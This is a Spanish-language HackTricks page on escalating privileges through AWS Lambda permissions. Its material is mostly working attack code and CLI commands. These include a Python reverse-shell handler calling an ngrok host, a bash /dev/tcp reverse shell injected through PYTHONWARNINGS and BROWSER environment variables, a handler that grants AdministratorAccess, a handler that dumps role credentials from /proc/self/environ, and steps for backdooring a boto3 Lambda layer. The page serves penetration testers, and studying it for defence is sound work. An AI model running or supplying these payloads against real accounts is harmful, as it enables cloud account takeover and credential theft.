AWS - Lambda Privesc

Support HackTricks

lambda

Más información sobre lambda en:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Los usuarios con los permisos iam:PassRole, lambda:CreateFunction y lambda:InvokeFunction pueden escalar sus privilegios. Pueden crear una nueva función Lambda y asignarle un rol IAM existente, otorgando a la función los permisos asociados con ese rol. El usuario puede luego escribir y subir código a esta función Lambda (con un rev shell, por ejemplo). Una vez que la función está configurada, el usuario puede activar su ejecución y las acciones previstas invocando la función Lambda a través de la API de AWS. Este enfoque permite efectivamente al usuario realizar tareas indirectamente a través de la función Lambda, operando con el nivel de acceso otorgado al rol IAM asociado a ella.\

Un atacante podría abusar de esto para obtener un rev shell y robar el token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

También podrías abusar de los permisos del rol de lambda desde la propia función lambda. Si el rol de lambda tenía suficientes permisos, podrías usarlo para otorgarte derechos de administrador:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

También es posible filtrar las credenciales del rol de la lambda sin necesidad de una conexión externa. Esto sería útil para Lambdas aisladas de red utilizadas en tareas internas. Si hay grupos de seguridad desconocidos filtrando tus shells inversos, este fragmento de código te permitirá filtrar directamente las credenciales como la salida de la lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impacto Potencial: Privesc directo al rol de servicio lambda arbitrario especificado.

Ten en cuenta que, aunque pueda parecer interesante, lambda:InvokeAsync no permite por sí solo ejecutar aws lambda invoke-async, también necesitas lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Al igual que en el escenario anterior, puedes otorgarte el permiso lambda:InvokeFunction si tienes el permiso lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impacto Potencial: Privesc directo al rol de servicio lambda arbitrario especificado.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Los usuarios con permisos de iam:PassRole, lambda:CreateFunction y lambda:CreateEventSourceMapping (y potencialmente dynamodb:PutItem y dynamodb:CreateTable) pueden escalar privilegios de manera indirecta incluso sin lambda:InvokeFunction. Pueden crear una función Lambda con código malicioso y asignarle un rol IAM existente.

En lugar de invocar directamente la Lambda, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda a través de un mapeo de fuente de eventos. Esta configuración asegura que la función Lambda se active automáticamente al ingresar un nuevo elemento en la tabla, ya sea por la acción del usuario o por otro proceso, invocando indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Si DynamoDB ya está activo en el entorno de AWS, el usuario solo necesita establecer el mapeo de la fuente de eventos para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe crear una nueva tabla con la transmisión habilitada:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Ahora es posible conectar la función Lambda a la tabla DynamoDB creando un mapeo de origen de eventos:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Con la función Lambda vinculada al flujo de DynamoDB, el atacante puede activar indirectamente la Lambda al activar el flujo de DynamoDB. Esto se puede lograr insertando un elemento en la tabla de DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impacto Potencial: Privesc directo al rol de servicio de lambda especificado.

lambda:AddPermission

Un atacante con este permiso puede otorgarse a sí mismo (o a otros) cualquier permiso (esto genera políticas basadas en recursos para otorgar acceso al recurso):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Impacto Potencial: Privesc directo al rol de servicio de lambda utilizado al otorgar permiso para modificar el código y ejecutarlo.

lambda:AddLayerVersionPermission

Un atacante con este permiso puede otorgarse a sí mismo (o a otros) el permiso lambda:GetLayerVersion. Podría acceder a la capa y buscar vulnerabilidades o información sensible.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Impacto Potencial: Acceso potencial a información sensible.

lambda:UpdateFunctionCode

Los usuarios que poseen el permiso lambda:UpdateFunctionCode tienen el potencial de modificar el código de una función Lambda existente que está vinculada a un rol de IAM. El atacante puede modificar el código de la lambda para exfiltrar las credenciales de IAM.

Aunque el atacante puede no tener la capacidad directa de invocar la función, si la función Lambda ya existe y está operativa, es probable que se active a través de flujos de trabajo o eventos existentes, facilitando así indirectamente la ejecución del código modificado.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impacto Potencial: Privesc directo al rol de servicio de lambda utilizado.

lambda:UpdateFunctionConfiguration

RCE a través de variables de entorno

Con estos permisos es posible agregar variables de entorno que harán que Lambda ejecute código arbitrario. Por ejemplo, en python es posible abusar de las variables de entorno PYTHONWARNING y BROWSER para hacer que un proceso de python ejecute comandos arbitrarios:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Para otros lenguajes de scripting, hay otras variables de entorno que puedes usar. Para más información, consulta las subsecciones de lenguajes de scripting en:

RCE a través de Lambda Layers

Lambda Layers permite incluir código en tu función lambda pero almacenándolo por separado, de modo que el código de la función puede permanecer pequeño y varias funciones pueden compartir código.

Dentro de lambda, puedes verificar las rutas desde donde se carga el código de python con una función como la siguiente:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Estos son los lugares:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Por ejemplo, la biblioteca boto3 se carga desde /var/runtime/boto3 (4ª posición).

Explotación

Es posible abusar del permiso lambda:UpdateFunctionConfiguration para agregar una nueva capa a una función lambda. Para ejecutar código arbitrario, esta capa necesita contener alguna biblioteca que la lambda va a importar. Si puedes leer el código de la lambda, podrías encontrar esto fácilmente, también ten en cuenta que podría ser posible que la lambda ya esté usando una capa y podrías descargar la capa y agregar tu código allí.

Por ejemplo, supongamos que la lambda está usando la biblioteca boto3, esto creará una capa local con la última versión de la biblioteca:

pip3 install -t ./lambda_layer boto3

Puedes abrir ./lambda_layer/boto3/__init__.py y agregar la puerta trasera en el código global (una función para exfiltrar credenciales o obtener un shell inverso, por ejemplo).

Luego, comprime ese directorio ./lambda_layer y sube la nueva capa de lambda en tu propia cuenta (o en la de la víctima, pero puede que no tengas permisos para esto). Ten en cuenta que necesitas crear una carpeta de python y poner las bibliotecas allí para sobrescribir /opt/python/boto3. Además, la capa debe ser compatible con la versión de python utilizada por la lambda y si la subes a tu cuenta, debe estar en la misma región:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Ahora, haz que la capa lambda subida sea accesible por cualquier cuenta:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Y adjunta la capa de lambda a la función lambda de la víctima:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

El siguiente paso sería invocar la función nosotros mismos si podemos o esperar hasta que se invoque por medios normales, que es el método más seguro.

Una manera más sigilosa de explotar esta vulnerabilidad se puede encontrar en:

AWS - Lambda Layers Persistence

Impacto Potencial: Privesc directo al rol de servicio de lambda utilizado.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Quizás con esos permisos puedas crear una función y ejecutarla llamando a la URL... pero no pude encontrar una manera de probarlo, ¡así que házmelo saber si lo haces!

Lambda MitM

Algunas lambdas van a estar recibiendo información sensible de los usuarios en parámetros. Si obtienes RCE en una de ellas, puedes exfiltrar la información que otros usuarios le están enviando, revísalo en:

AWS - Steal Lambda Requests

Referencias

Apoya a HackTricks

Last updated